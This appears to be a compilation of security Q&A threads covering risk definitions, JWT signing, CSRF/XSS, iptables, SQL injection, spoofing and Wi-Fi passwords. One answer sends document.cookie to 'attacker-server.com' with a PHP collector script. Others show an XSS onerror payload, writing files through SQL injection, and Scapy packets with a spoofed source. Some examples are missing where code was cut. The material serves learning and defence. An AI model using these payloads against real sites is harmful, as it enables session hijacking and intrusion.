risk threat vulnerability From ENISA - Threat and Risk Management

  Identification, analysis and evaluation of these threats and
  vulnerabilities are the only way to understand and measure the impact
  of the risk involved and hence to decide on the appropriate measures
  and controls to manage them.

Is my understanding is correct that to know a risk I need to know the threats and vulnerabilities first?

risk = threat x vulnerability

If yes, then what should I define first? Threats or vulnerabilities?

As a simple example. Let's say I have a system that allows password authentication via SSH. I'd say that:

Threat – an intruder can exploit the password weakness to break into the system
Vulnerability – password is vulnerable for dictionary attacks
Risk – the resources within the system are prone for illegal access / modification / deletion by the intruder

But how can I assume that an intruder can exploit the password weakness (if that even is a threat to me)  if I don't even know yet whether weak passwords are allowed (that would be the vulnerability, right?) but what if the system is enforcing a very strict and secure password policy or is even disallowing password authentication (only priv/pub key authentication is allowed).

You are trying to combine a couple of different types of risk that you need to keep separate:

inherent risk (risk without treatment/mitigations/controls)
residual risk (risk after treatment/mitigations/controls)

You are also defining your threats far too specifically to the vulnerability, which is causing you further chicken/egg confusion.

You state that the threat is "an intruder can exploit". That's not the threat. The threat is that a potential intruder will test passwords using brute force methods.

Also, your risk analysis suddenly expands the scope beyond the threat and vulnerability. Modification and deletion is a potential secondary effect to the unauthorised access risk that the threat and vulnerability describe.

This makes your inherent risk analysis:

Threat – an intruder tests passwords using brute force
Vulnerability – password is discoverable to brute-force methods in a short time frame
Risk – by exploiting weak passwords, an attacker gains unauthorised access to the system

So, using this modular method, you do not have a chicken/egg problem with threats and vulnerabilities. Threats do what they do. Vulnerabilities exist or not. When they align, then you have a "hazard condition" that can result in harm.

If you do not have this vulnerability (i.e. if you only use key authentication, not password authentication), then this particular threat does not apply to the system. Other threats exist, but there is no risk of this type.

If you have controls in place to treat this risk (2FA, password auditing, brute-force detection and lock-out, etc,.) then your residual risk is lowered: risk = threat x vuln - mitigations


Amazon AWS KMS - Concept of signing in general and with JWT Looking into Amazon AWS KMS (Key Management System).

Got confused since the methods exposed via Amazon AWS API are only to encrypt and decrypt (https://docs.aws.amazon.com/kms/latest/APIReference/Welcome.html). However, I want to sign data (JWT in particular).

My questions:

1) Is signing barely encryption of the hash of the content?

2) In JWT case, if I hash the content of JWT and encrypt it and put it in signature field, will it be correct signing?

Thanks,

KMS + JWT is confusing and easily misused. This question is about pragmatics, so summary answers below, happy to expand on them but the details are intricate.

1) Is signing barely encryption of the hash of the content?

It is not.

2) In JWT case, if I hash the content of JWT and encrypt it and
   put it in signature field, will it be correct signing?

It will not.

If you are using JWTs for authorization tokens, here's the short version of what you likely want to do:

Use KMS to generate a 256 bit Data Key, in both encrypted and plaintext forms: https://docs.aws.amazon.com/kms/latest/APIReference/API_GenerateDataKey.html
Save the encrypted form of the data key, along with the CMK key-id under which it was minted, in your database or with application configuration
Use the 256 bit plaintext Data Key as the "secret" with your language platform's preferred JWT library to sign and validate JWTs.
When your application restarts, get the encrypted Data Key from the database, call KMS Decrypt on it to get the plaintext version of the Data Key, and use as above for JWT signing and validation

Hope that helps.


Is not checking the src url a vulnerability? By using a system of special tags you can allow users to add custom images, for example, tags like [img]user_url[/img]. Then you replace the tags by their real HTML tags like <img src="user_url" /> making sure to sanitize the user_url.

Not checking the url could be considered a vulnerability? Is there any way to exploit it? And by itself*?
*the website does not have any other vulnerability.

Edit: This is how it is sanitized (PHP)
htmlspecialchars(stripslashes($string))
Being $string = [img]user_url[/img]
References: stripslashes(), htmlspecialchars()

What I have in mind, but I am not totally sure, is something like, [img]http://mysite.com/user?deleteAccount=1[/img]. Is this possible? Are there other ways to exploit this functionality?

Assuming your conversion function does not sanitize:

[img]" /><img src="[/img]

becomes:

This is a simple example of CSRF (cross-site request forgery). As soon as another user loads said [img] tag, they will run the Javascript that has been injected as an authenticated user, submitting the form unintentionally upon page load.

There are even worse possibilities, including XSS (cross-site scripting). For instance, your attacker may have a remote server that has a script similar to this:

foo.php:

<?php
    require_once('db-config.php');
    mysql_query("INSERT INTO `cookies` VALUES
        (DEFAULT, '" . mysql_real_escape_string($_GET['input']) . "'"));
?>

The attacker can send an AJAX request through the injected Javascript and send himself your session cookie with a URL like so:

'http://attacker-server.com/foo.php?input=' + document.cookie;

This will allow the attacker to hijack your session ID, impersonating you in the application.

An obstacle for the interim to solve a problem such as this (an imperfect solution) is to set the HttpOnly property on your cookie(s) to prevent certain CSRF attacks from occurring.

EDIT:

You mentioned:

  What I have in mind, but I am not totally sure, is something like,
  [img]http://mysite.com/user?deleteAccount=1[/img]. Is this possible?
  Are there other ways to exploit this functionality?

This is definitely possible. Read my explanation above regarding CSRF. In fact, many web applications use this to track e-mail clickthroughs, as the hidden image's src value links to a script that runs when a user opens their e-mail.


Is it necessary to sanitize data being passed into the hash_hmac in php? I have a page that takes in arguments that could possibly be changed by a malicious user. I am checking to make sure that the contents have not been unexpectedly changed by using HMAC. In php, there is a function called hash_hmac. Do I need to sanitize the input into this function?

Generally speaking, any combination of bytes you might send into hash_hmac in the $data parameter will be correctly processed by the function, so no sanitation is needed at that point in your script. However, you'll probably still need to do sanitation at some point in your script, but by checking the mac up front, you'll prevent all those wasted CPU cycles sanitizing data that was actually just a forged request.


Is it safe to disable connection tracking in iptables? While reading about NOTRACK target of raw table in iptables, I encountered an article suggesting that for certain traffic you could (or even should) disable connection tracking. The two examples were: (1) all kind of routed packets, and (2) if you have a web server, or other services that eat resources, you should also disable connection tracking for such service. I don't have a web server, but I do have some p2p clients. The following are standard rules for connection tracking:

iptables -t filter -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT
iptables -t filter -A INPUT -m conntrack --ctstate INVALID -j DROP
iptables -t filter -A INPUT -p udp -m conntrack --ctstate NEW -j udp
iptables -t filter -A INPUT -p tcp -m tcp --tcp-flags FIN,SYN,RST,ACK SYN -m conntrack --ctstate NEW -j tcp

and in the udp and tcp chains I open port for a torrent client using:

iptables -t filter -A udp -p udp --dport 33333 -m conntrack --ctstate NEW -j ACCEPT
iptables -t filter -A tcp -p tcp --dport 33333 -m conntrack --ctstate NEW -j ACCEPT

When I check conntrack entries:

# cat /proc/net/nf_conntrack | wc -l
3569

Now the option would be to set NOTRACK in raw table for this kind of traffic, for instance:

iptables -t raw -A notrack_in -p udp --dport 33333 -j NOTRACK
iptables -t raw -A notrack_in -p udp --dport 33333 -j ACCEPT
iptables -t raw -A notrack_in -p tcp --dport 33333 -j NOTRACK
iptables -t raw -A notrack_in -p tcp --dport 33333 -j ACCEPT

and it needs also two rules in the filter table:

iptables -t filter -A INPUT -p udp --dport 33333 -j ACCEPT
iptables -t filter -A INPUT -p tcp --dport 33333 -j ACCEPT

After this operation, the number of entries in /proc/net/nf_conntrack dropped to 150-200, and there's no line with port 33333.

My question is this: Is it safe to disable connection tracking? Would doing so necessitate adding rules to iptables? What are the pros and cons of this solution?

The short answer
Usually you will only need connection tracking for outbound connections. If any local device makes a connection to the Internet, the firewall records that this specific IP and port tried to make a connection to the other IP and port.
Thus when the answer from the Internet arrives, the firewall knows to let it pass, because it has seen an outgoing packet before.
If there was no connection tracking in place, you would have to place explicit rules as to where from or where to a packet may travel (for example, allow all packets from google.com port 80). It's easy to see that this would make firewall rules quite complicated.
The long answer
There are only subtle differences between the two solutions if used for inbound connections. One difference is on which system the CPU load of checking packets occurs. If you have a dedicated computer/router/firewall (called firewall from here on) doing this, with connection tracking enabled, this device will check at least the plausibility of a packet. This will free the application server (the server getting the packets) from doing so.
The plausibility refers to that the packet comes from the expected host and the expected port in the case of UDP, and additionally on the sequence number in the case of TCP.
Usually the validation can only happen inside the application layer, since the validity can only be assured based upon the protocol in the application itself.
There are three consequences from these assumptions:

The CPU and network load is moved towards the "edge" of the network in the case of state tracking. That means the (usually) first device on your network will perform some basic inspection of the packet, before forwarding it into the local network, thus keeping your internal network clean and the load on the firewall.
The application server will only need to worry about whether the packet is valid, i.e. if the data inside the packet conforms to the expected protocol.
This might open up the possibility to overtake an UDP connection, depending on the protocol. If the application has no (or no reliable) way to authenticate the sender of a packet, it would accept the correct payload from any IP address. For example in a data transmission it would be possible to send garbage to the receiver, if the UDP packet passes validation.

Nevertheless common practice (unless in high-security environments) is to use (general) connection tracking for outgoing connections only, as to not having to explicitly allow every Internet server to answer to a request from the local network. For the case of incoming connections, you usually really just allow the (defined) port to be reachable (-A INPUT -p tcp --dport 80 -j ACCEPT). This would apply to new connections, but would also apply to existing connections, avoiding the overhead, to keep track of the connection. Similarly you would only forward packets to a specific destination port to an application server inside your local network.
application-specific connection tracking
There is one case I did not mention yet and that is application-specific connection tracking. For a few protocols (ftp, irc, tftp, amanda, sip and possibly others, see http://www.iptables.info/en/connection-state.html#COMPLEXPROTOCOLS for example) there may be special iptables modules to allow advanced tracking of the connection. For example in FTP, you would open a connection from the client to the server on port 21, called the control connnection, which should be opened in the firewall by normal means. Inside this channel, the client and server then define a second connection where the raw file data would be sent. Usually this connection is established from the server to the client (in ACTIVE mode). This local and remote port are seemingly random, so they cannot be defined in a static firewall configuration file. If there was a firewall with iptables on the client's network, it would deny this connection, because there is no former association. With application-specific connection tracking the module would look "into" the packet content to see whether such an agreement has been made and the firewall would allow a new incoming connection on the agreed port, even if there was no connection on it before.


How to handle CSRF protection in a single page application? I am currently building a single page application with a JavaScript/HTML front end. The front end makes calls to a WEB API that was written in .NET. Currently I have an HTML page where a user enters their credentials into and clicks login. An AJAX request is then sent to the WEB API which authenticates the user and returns an HTTP-Only cookie that contains a Json Web Token. The browser then sends this cookie on each subsequent request, and the controller validates it.

The above is working well, however it lacks CSRF protection. I am trying to figure out the best way of implementing this. From my research, it looks like there are a few options.

The article at https://www.jamesward.com/2013/05/13/securing-single-page-apps-and-rest-services suggests extracting a token from a cookie and then submitting that as a request header. In order to do this, I would need to drop the HTTP-Only flag, so the JavaScript can access the cookie. I don't think this is the best solution, as it could expose the session information if an XSS vulnerability is found. Is there something I am missing?
Somewhere else I read about sending a separate cookie that contained the CSRF token and pulling the value out of that with JavaScript. Then sending that value as a custom header on subsequent AJAX requests and having the WEB API validate based on that header. I wrote a quick proof of concept application for this and discovered that the browser will still send the cookie the CSRF token was delivered in back on future requests. Does this pose an issue? Could a page with a CSRF attack somehow exploit this?
Similar to the above, but instead of delivering the CSRF token via a cookie, deliver it via a custom header, and have JavaScript read it from there. This seems like it is the most straightforward, but do you see any drawbacks with this approach?

Also, is it safe to keep using a single CSRF token for a user's entire session, or should it be refreshed on every request?

You can use the classic CSRF token strategies, but they can take some awkward effort to use in AJAX-based applications, and easier options are available for AJAX-specific endpoints:

Add an extra header to requests to your server like "X-Requested-With: XMLHttpRequest" or "X-Is-Local-XHR: true", and make your server require the header on authenticated requests. Users with old versions of Flash may be vulnerable (though old versions of Flash have had much worse vulnerabilities too, so your choice on whether this is important to you). See https://stackoverflow.com/questions/17478731/whats-the-point-of-the-x-requested-with-header
Verify either the Origin or Referer header is set and matches the domain in the Host header. The Origin header is sent for all POST requests by Chrome and Firefox but older browsers may not include it. The Referer header is disabled by some users for privacy reasons. The presence of either with a valid value is enough to verify the request.


Can SQL injection lead to remote code execution? Is it possible to execute some code (e.g. PHP code on a PHP-based web application) on the server through SQL injection? If yes, how exactly?

I understand that un-escaped field can lead to SQL injection and an attacker can execute SQL commands of his choice directly on the server. But I think of running only SQL commands, not some arbitrary code. Am I wrong here?

SQL database systems typically have an export mechanism which can write arbitrary files on the server, e. g. SELECT ... INTO OUTFILE in MySQL. If an attacker is able to assemble such a query and isn't stopped by restrictive permissions, they can in fact create PHP scripts. Now they still need to get the server to execute the script. In the easiest case, they have write access to a web directory. If they request the script, the webserver will happily execute it.


Spoofing public IPv4 address How can I spoof my public IPv4 address to another without using proxys? I don't need any response, the TCP handshake needn't be completed! I just want to send a SYN packet with spoofed (specific) source address! My problem is, that every packet I craft can just have a spoofed private IP and my router would simply drop the packet (or at least the ISP would) and I don't know how it could reach a webserver outside of my network at home. Are there any possiblities to make the ISP to forward it? If I forgot important information, let me know.

thx

If you're a Python programmer you can use the Scapy interactive packet manipulation program to create your own packets and send them.  You can also use it as a library within your own Python program.

From within the interactive program here's how you can create an IP packet, change the source address, and send it.  Scapy will use any default routes you have setup.

>>> pkt = IP(src="1.2.3.4", dst="5.6.7.8")
>>> pkt.show()
###[ IP ]###
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags=
  frag= 0
  ttl= 64
  proto= ip
  chksum= None
  src= 1.2.3.4
  dst= 5.6.7.8
  \options\
>>> pkt.send()

The fun thing about Scapy is that it creates the all lower layer headers for you if you don't specify them with default values.  So in the above example the Ethernet header is created for you already.  So you probably want to manipulate the TCP layer, so the following code will build upon the above example.

>>> ip_layer = IP(src="1.2.3.4", dst="5.6.7.8")
>>> tcp_layer = TCP()
>>> pkt = ip_layer/tcp_layer
>>> pkt.show()
###[ IP ]###
  version= 4
  ihl= None
  tos= 0x0
  len= None
  id= 1
  flags=
  frag= 0
  ttl= 64
  proto= tcp
  chksum= None
  src= 1.2.3.4
  dst= 5.6.7.8
  \options\
###[ TCP ]###
     sport= ftp_data
     dport= http
     seq= 0
     ack= 0
     dataofs= None
     reserved= 0
     flags= S
     window= 8192
     chksum= None
     urgptr= 0
     options= {}

As long as your routes are set up correctly to get to your destination you should be able to send the packet.  Scapy will also be able to capture response and what not too if you needed.  The documentation gives good simple examples, but does kind of lack in more advanced examples.  The API isn't well documented but there is a doxygen version up here.


Sending the GPG key to keyserver Today I started learning how to work with GPG keys. I successfully generated a pair for me, and imported some other keys, encrypted some files and successfully decrypted them.

I want to send my GPG key to the keyserver, but I cannot seem to be able to do so.

I ran:

$ gpg2 --send-keys 61955ADD7D75EE596DD08557105C63FAC0CD6192
gpg: sending key 105C63FAC0CD6192 to hkps://hkps.pool.sks-keyservers.net

However, when trying to import it on another machine (gpg --keyserver pool.sks-keyservers.net --recv-keys 105C63FAC0CD6192) it says it's not found, and indeed it is not listed here: http://pool.sks-keyservers.net/pks/lookup?search=105C63FAC0CD6192&fingerprint=on&op=index

How long does it usually take to upload the key and share it among the key servers?

What am I doing wrong?

The PGP keyserver pool has dozens (129 at the moment) of keyservers in it.  When you make a request to it, you may get a different server than the previous request.  Over time, the keyservers all exchange their new keys & signatures with one another, so it will eventually propagate to all of them.  It's hard to say what "eventually" is, but my experience is a few hours.

If you need an operation to complete quickly, pick a single keyserver by name and use it for those operations.


In Kali Linux, how can I open files in a safe manner without disconnecting internet? I downloaded a few documents over Tor as of late. I am mindful of the issues which I can confront when I open a document downloaded through Tor in an online machine.

I want to know how to open these documents in a sandboxed environment on a machine connected to the internet as I have to research a few points on the web while going through the documents.

Use a virtual machine which hasn't any interface connected to the internet. Use Host-only or NAT to isolate the machine.


How can ransomware be so prevalent when there is such a clear money trail to the attackers? If there's one thing the Internet is good at, it's keeping track money and knowing where it has moved.

Ransomware attacks typically request payment for a decryption key. How is it with such an easily tracked transaction that authors of ransomware aren't prosecuted more often?

They use alternative methods from traditional credit card/wire transactions, namely prepaid cards and crypto-currency like bitcoin. This is because it's much easier to stay hidden this way.

This article outlines more information if you're interested: TeslaCrypt: Following the Money Trail and Learning the Human Costs of Ransomware


How does full disk encryption cater for overprovisoned disk space in flash devices and can this result in data leakage? My understanding is that flash based devices such as SSDs are over-provisioned and do not advertise the additional blocks of storage available to the operating system. The over-provisioned blocks of storage is to support effective distribution of data via wear leveling.

Assuming my understanding is correct, how does full disk encryption cater for over-provisioned of storage if the additional block of storage isn't advertised or accessible by the operating system?

If the distribution of data is limited to the drive's controller, is there a risk of data flowing from encrypted blocks to unencrypted blocks e.g. over-provisioned storage?

FDE does not need to know anything about overprovisioning. If the partition is encrypted, no plain-text will ever be written anywhere. Blocks reserved for wear leveling will either have un-initialized random data, or encrypted blocks.

If you are using the encryption provided by the controller, encryption/decryption occurs inside the controller, so no plain text data is written on the blocks. If the encryption is done by the OS, the controller already receives encrypted data.


How to prevent DDoS to cause stored data inconveniences? Let's assume there are no vulnerabilities in the application layer, one disk, and no physical firewall (just iptables rules in the server itself), hence in this case all the DDoS attack does is to overload processor, RAM, and the disk file system by eventually causing huge amounts of log data from the server firewall (I am not sure if this would happen in an ordinary scenario).

Hypothetical (in my eyes) examples of stored data inconveniences:

Disk overloaded by firewall log data caused by DDoS.
The need to move the disk to another system in order to clean the log files.
Disk overload causing damage or loss of stored data.

That's to illustrate a bit the range of inconveniences, known or hypothetical, that I am talking about (storage and data integrity and conservation specifically), when the conditions are as decribed priorly.

Coming back to the original question, is it mandatory to add a physical firewall to prevent such kind of inconveniences? Or are there other kind of alternative solutions while keeping the same physical setup?

If your firewall (iptables) can filter out DDoS and the only problem are firewall logs, the only problem might be disk (partition) size and write speed. If your services are also hit by DDoS, firewall logs are not a problem, as you mentioned you probably run out of resources like RAM and CPU (causing hude system slowdown) much sooner. If you run out of disk space, it's up to particular apps how they handle this situation. Additionally huge disk write will slow down apps from reading data, so there will be a slow down. But it will not damage your disk, it will not destroy any stored data etc. And if the system is running, there should be no reason to move disk to another machine only to clean the log files (at least in any common situation there shouldn't be).

EDIT:
As for your final question - physical/box firewall runs in many cases exactly the same software you already have - iptables + rules. So everything you can do on your own server, you can also do with physical firewall, but it's not necessary. Separate firewall will limit firewall logs to separate machine, but it's not a huge difference. DDoS can operate on many layers and ie Web App Firewall (WAF) is not exactly the same type of firewall like the one working on TCP/IP level - in many cases they don't work as expected because on other layers it's much harder to filter out traffic for all types of existing web apps.

Bottom line - DDoS is not easy to filter out in generic way, working for everyone.

Oh, and there is already great answer How do major sites prevent DDoS?


Why are scripts injected through innerHTML not executed whilst onerror and other on attributes on elements are? - Google XSS Challenge 2 SPOILER ALERT :  Do not continue if you do not want to be spoiled

I am currently doing the Google XSS Challenge Level 2 .

I am injecting XSS code that is inserted into the document using element.innerHTML. I don't understand why <script>alert("Foobar")</script> does not work but <img src="/" onerror = "alert(1);" works.

I have tried looking at source code but I still don't understand why. I am new to XSS, hence I would appreciate if you would make reference to the source code when formulating your answers.

The answer to that depends on the way the browser executes scripts present in different places within a page. For example:

JavaScript within the inline script tags is processed synchronously with the other markups in the webpage. These script tags might slow down the processing of a web page.
Script tags which are assigned to the elements after the DOM loads (as in the case of challenge 2) are actually never executed in most cases (see Exception at the end of the answer)!
JavaScript inside an event handler as an attribute is executed as soon as a particular event occurs (reason why inputs like <img src="/" onerror = "alert(1);" and  will work in this case).

EXCEPTION:

Script tags with a defer attribute will not be executed (on some browsers) until the DOM has been fully rendered. For instance, I tried the same challenge on IE and I was able to alert a popup using the following user input:


Why would encrypting data result in a call to a Domain Controller This KB article mentions an issue where signing or encrypting information may result in a network IO call to a Domain Controller.

Apparently the RSACryptoServiceProvider's SignData and VerifyData looks up the OID in AD, but the purpose of this call eludes me.

What could be the possible security benefit of this?  I'd like to learn more about it.

When you call SignData() or VerifyData(), you must specify which hash function to use (because signatures operate on hashed messages). Moreover, with RSA specifically as described by PKCS#1, the hash value is encapsulated inside a structure which contains the object identifier (OID) of the hash function. The invoked method must thus map the provided hash function specification (which can be a string) to the corresponding OID, and, in the Active Directory, this must go through the AD server (the AD server is a kind of gatekeeper for such mappings).

When the calling code runs as a local account, the AD server may refuse to respond, hence the delay.

This is a misfeature of the .NET implementation: for hash functions specifically, the code should know of the OID of the hash functions it implements (there are not so many) and should not need to talk to the AD server for that (these OID are "well-known" and standardized, they cannot change at the whim of an AD administrator).


Is hardware based disk encryption more secure that software based? As a spin-off of my question on "Advice on buying an encrypted disk" -- and in an effort to address the question "how is hardware based disk encryption better?" -- I've started a new question.

My understanding is that hardware based disk encryption is more secure because the keys are embed in the system, require physical access to get, and very specialized knowledge to extract them. Beyond that, the hardware encryption doesn’t require system resources to perform the encryption/decryption process and therefore allows for better system performance and data access speeds. That said, this is based on my understanding from years ago, and very possible this has changed, or even more likely, that my understanding is not completely right.

The implementation is at least as important as the algorithm.  I was trying to figure out the same thing for the Hitachi Bulk Data Encryption and ATA Security Extensions... but I never got a satisfactory answer from Hitachi.

Since all the drives ship with a factory key for AES 128, and the drives are always encrypted (you encrypt the decryption key with the ATA security extensions password), and since the drives are mass produced, how is the AES key generated, and where does the entropy come from?

Short of your own reader to get "underneath" the security extensions and read the raw platter, you never know if all the AES encryption systems are using exactly the same key, a flawed random number generator or something.

Hardware is a black box.  Software gives you some control.  Yes, you always need to trust the hardware to some degree, but the damage to the reputation of the manufacturer if they're caught with a hardware back door would be very severe.

You need to be able to inspect the implementation.


Can in a VPN LAN-to-LAN one site be completely isolated from the other? In a VPN LAN-to-LAN setting, is it possible to isolate one site from the other?

I know that we can use a firewall but that would obligate us to manage specific rules in the firewall. I would like to reduce management workload. Do you think that a firewall would be the best solution?

We think that a LAN-to-LAN VPN is the best solution but maybe not. The need is to connect to a cloud IaaS server through the Internet but:

We want the communication to be encrypted always, probably using
unencrypted protocols
We want that some services in the server to be
available only to our IPs

In other words, we don't want the remote LAN to have complete access to the local LAN...the setting we are looking for is similar to the navigation to Internet: local machines exit to Internet using the same public IP and from Internet is not possible to initiate a connection to a internal machine because they have local IP addresses that are not addressable from Internet. In this way, local machines are isolated from Internet because the NAT and not existing forwarded ports.

A LAN-to-LAN VPN connection is just a bridge between two remote networks. You can think of it as a cable.

On top of that cable, the VPN routers usually provide a gateway to the other network. Without this gateway the traffic could not go though as packets from one network would not know how to reach the other network. It is reflected in the routing tables of the devices in each of the networks.

So you now basically have an open extension of one network into the other one. Each device on one network can reach to each device on the other one.

But this is not what you wanted - you wanted to restrict this traffic. Therefore you need to have some kind of filter which will allow some packets and not some others, based on some rules. This can be done by a firewall or you can check if your VPN gateway does not provide such functionality (look for "firewall" or "ACL" in the documentation).

You can further shape the traffic the way you want, including NAT (on both sides if required, to reproduce the Internet scenario you mention).

The key point here is that the VPN setup does not offer (at its core usage) nothing more than a secured communication layer between two networks.


How to defend against network traffic pattern correlation attacks? If i am chaining multiple VPN's and possibly running through Tor as well, network correlation attacks can be performed against me to try to locate my position. If my network spikes a download for 40MB/s for 3 secounds, governments with collectors accross the world would be able to see this spike and correlate me with my VPN chains.

Is there a way to defend against this?

I would assume if a tool was made to generate random dummy traffic each at layer of VPNs, then they would not be able to correlate as well. Does such a tool exists?

What if you used a network like tor but one that has a more difficult algorithm that connects to each host within the farm?

'Network traffic pattern correlation attacks'. I heard that such an attack was done to trace users in Tor network by the Russian government.

I think if someone executes such an attack against you, then it is a matter of proxy servers you use between you and the destination host that you try to connect to.

The 40mb file that was downloaded in one host at specific time, could be attempted to be traced back, but it depends on how many proxies you use.
The more of them, the more investigations the authorities will have to make to trace you.

To even go farther, you could use a proxy server that modifies the content of the request slightly and adds content to it at random length.


Hacking machines using internet packets I have a friend (X) who hacked the whatsapp account of someone (Y) using iphone. He told me that he sent a packet to the iphone of Y that appears as a normal whatsapp message but now he can see all the chat of Y. My question is how did he do it exactly and what's the name of this technique? Don't iphone or other machines have any security against such attacks (maybe encryption)? Does this technique apply universally to any computer?

I agree with the others that 'sent a packet' is an incredibly broad statement, but it's already been passed on 2nd hand from a script kiddie who may not even understand the exploit in the first place.

I assume he's probably exploiting a buffer overflow or other low-level bug in the communication layer.

Such exploits are specific to the particular app, not the OS or device, and they definitely don't apply to all devices.  In a perfect world, the app would use encryption, signatures, and data validation to help prevent buffer overflows, but it's not a perfect world.  So, the scenario as described is entirely possible and in fact happens all the time with different apps.


Recommend Length for Wi-FI PSK? I currently have a network set up with WPA2 and AES encryption, the password is 8 characters long but was randomly generated and contains no dictionary words. However I'm concerned about the increasing power of computers and their ability to crack handshakes, as such I was considering increasing the length.

I'm aware that I can go up to 63 characters if I were extremely paranoid, but unfortunately I have to type this password into Android phones and other devices so I'd rather keep it reasonably short to allow for it to be easily typed.

Would a 16-character random password be enough to secure a WPA2 encrypted network? What is the current recommendation for password lengths, especially for wireless networks and what password length would be sufficient to protect my network against a standard attack?

Yes, 16 characters is more than sufficient, if they are randomly generated using a cryptographic-strength PRNG.  If you use lower-case, upper-case, and digits, and if you generate it truly randomly, then a 16-character password has 95 bits of entropy.  That is more than sufficient.  Actually, 12 characters is sufficient; that gives you 71 bits of entropy, which is also more than sufficient for security against all of the attacks that attackers might try to attack your password.

Once your password is 12 characters or longer, the password is extremely unlikely to be the weakest link in your system.  Therefore, there's not much point choosing a longer password.  I see people who recommend using a 60-character password, but I don't think there's any rational basis for doing so.  My view is that usability is very important: if you make the security mechanism too hard to use, people will get annoyed and may be more reluctant to use it in the future, which isn't good.  A secure mechanism that isn't used isn't doing anyone any good.  That's why I prefer to choose a shorter password, like 12 characters or 16 characters in length, as it is perfectly adequate and more usable than a monstrous 60-character beast.

Be careful how you choose the password.  You need to use a cryptographically-strong PRNG, like /dev/urandom.  For instance, here is a simple script I use on Linux:

#!/bin/sh
# Make a 72-bit password (12 characters, 6 bits per char)
dd if=/dev/urandom count=1 2>/dev/null | base64 | head -1 | cut -c4-15

Don't try to choose passwords yourself.  Human-chosen passwords are typically easier to guess than a truly random password.

One very important caveat: There are other issues as well, beyond password length.  It is very important that you turn off WPS, as WPS has major security holes.  Also, I recommend that you use WPA2; avoid WPA-TKIP, and never use WEP.


What is delegation, identity delegation, and delegated authorization, and what are the differences among them? I've been writing up a guide to OAuth 2.0, OpenID Connect, and Identity Server 4 mostly for my own learning, drawing on several sources such as OAuth2 In Action, OAuth 2.0 Simplified, and CISSP: A Comprehensive Beginners Guide on the Information Systems Security, but I'm having trouble finding explicit definitions of delegation, identity delegation, and delegated authorization along with how they're different (if they are).

This wikipedia article comes the closest to what I'm looking for, but its sources seem a bit questionable to me:

https://en.wikipedia.org/wiki/Delegation_(computer_security)

OAuth2 In Action and OAuth 2.0 Simplified both have explicit definitions for delegation and describe them as "letting someone who controls a resource access that resource on their behalf" and "allowing third-party applications to act on behalf of a user, without the application needing to know the identity of the user," respectively, but based on my reading these both actually describe delegated authorization or delegation of authority.

Would anyone care to take a crack at defining these or point me to something I could read to help me clear these concepts up in my head?

I am quoting Mastering OAuth 2.0 from Charles Bihis (2015).

Delegated Authority
[...] It refers to the ability for a service or application to gain
access to a user's resources on their behalf. [...]
Federated Identity
[...] It refers to the concept that allows one service provider to
allow authentication of a user using their identity with another
service provider. [...]

And then another quote from the book.

Both of the scenarios mentioned [...] are actually
really the same scenario. In both, the user is accessing a protected
resource on behalf of another party. [...]

When talking about Delegated Authority the protected resource can be e.g. a user's Facebook photo, while when talking about Federated Identity the protected resource is the user's account information.
Here is another (slightly modified) definition for delegated authority provided by IETF.

The concept of a delegated authority allows the owner of a set of
resources to delegate access to some of those resources to a
designated client application, without enabling the client application
to impersonate the user.


PCI Complient Storing Credit Card Data On Offline Tablet I have a client that does work in rural areas where there are no cellphone or internet connections.  They need a way to take credit card information in the field, bring it back to their office where they can charge the client.

I have fairly significant background in databases, networking, and programming, but I have never written a system that stores credit card information.

The data will be encrypted with AES, stored in a database on the tablet, and then later in the day deleted from the tablet once it has been brought back to the office.

Given that this is all offline, and never connected to the internet does this fall under the scope of the PCI standards, is this acceptable, or should I advise my client to look at other options?

As you can read in the PCI_DSS bullets 3.1 and 3.2 you can store this information if it is needed by your business.

You will find in the point 3.2.1 the information you need to store, and as you can read in 3.1.1 as long as you have politics and procedures to treat the information securely and delete it in a secure way, your system will be PCI_DSS compliant.

In the section 3.5 you will find also the rules you must to follow to ensure the password/key you use to cypher/decypher are used in a safe way.

Long story short, as long as you manipulate the credit card information in a secure (and normative) way and store it only the time needed to use them, there is no problem in doing so.


extendedCertificate's in PKCS7 / CMS In PKCS7 / CMS, for the signed-data content type, there's a CertifcateChoices field in the certicates field in SignedData that is a SET of CertificateChoices. CertificateChoices is defined thusly:

   CertificateChoices ::= CHOICE {
     certificate Certificate,
     extendedCertificate [0] IMPLICIT ExtendedCertificate,  -- Obsolete
     v1AttrCert [1] IMPLICIT AttributeCertificateV1,        -- Obsolete
     v2AttrCert [2] IMPLICIT AttributeCertificateV2,
     other [3] IMPLICIT OtherCertificateFormat }

AttributeCertificateV2 is defined as follows:

   AttributeCertificateV2 ::= AttributeCertificate

But where is AttributeCertificate defined? I did Ctrl+F in my browser for in RFC5652 (the RFC defining PKCS7 / CMS) and didn't find any useful results.

Any ideas?

It is defined in 4.1 of RFC3281

 AttributeCertificate ::= SEQUENCE {
             acinfo               AttributeCertificateInfo,
             signatureAlgorithm   AlgorithmIdentifier,
             signatureValue       BIT STRING
        }


Any privacy reasons to not allow software to update automatically? When installing new software and it gives the option to allow automatic updates, is there any security or privacy reason that it might be preferable not to allow this?

Privacy Leaks

The simplest leak is your IP address.  Your IP address is a powerful tracking tool, but only one of many used to track you around the web.  This can be mitigated with a VPN, Tor, proxy, etc. but...

Auto updaters usually trigger on network connection changes, so if you have a software VPN running and change Wi-Fi networks (or reconnect), the updater could hit the network before the VPN engages, leaking your real IP address.

During the update process, the server will likely be made aware of certain details about your machine.  OS, bit depth (32 vs 64), maybe the browser you use, possibly other running programs, any plug-ins or add-ons of the program, fonts, certificates, etc.  These details can also be used to fingerprint you.

Security Dangers

Supply Chain Attacks

There have been subversions of the update process, called supply chain attacks, and last year CCleaner was a victim of such an attack.

Telemetry, analytics, ads

These three antifeatures have become commonplace buzzwords to mask their usually unwanted behavior: tracking.  These sorts of things will get pushed down with auto updates, and you won't have the notice or option to remove them unless they become newsworthy on the Internet at large.

Other antifeatures

Other antifeatures are known to come through the auto update process.  Microsoft is bundling and changing a lot of things every few months with Windows 10.  Your file extensions will get changed, you'll get new software that you can't remove, or you'll have problems digesting the update.


What is the difference between certified and non-certified drives for Windows To Go? Microsoft suggests "certified drives" for http://www.microsoft.com/en-us/windows/enterprise/products-and-technologies/devices/windowstogo.aspx, but it appears that other than confirming that these drives work with Windows To Go they are no more secure as it relates to Windows To Go support than any other drives that would support Windows To Go; meaning while the drives might be more secure, they are not explicitly more secure than another drive with the same features that is not Windows To Go certified.

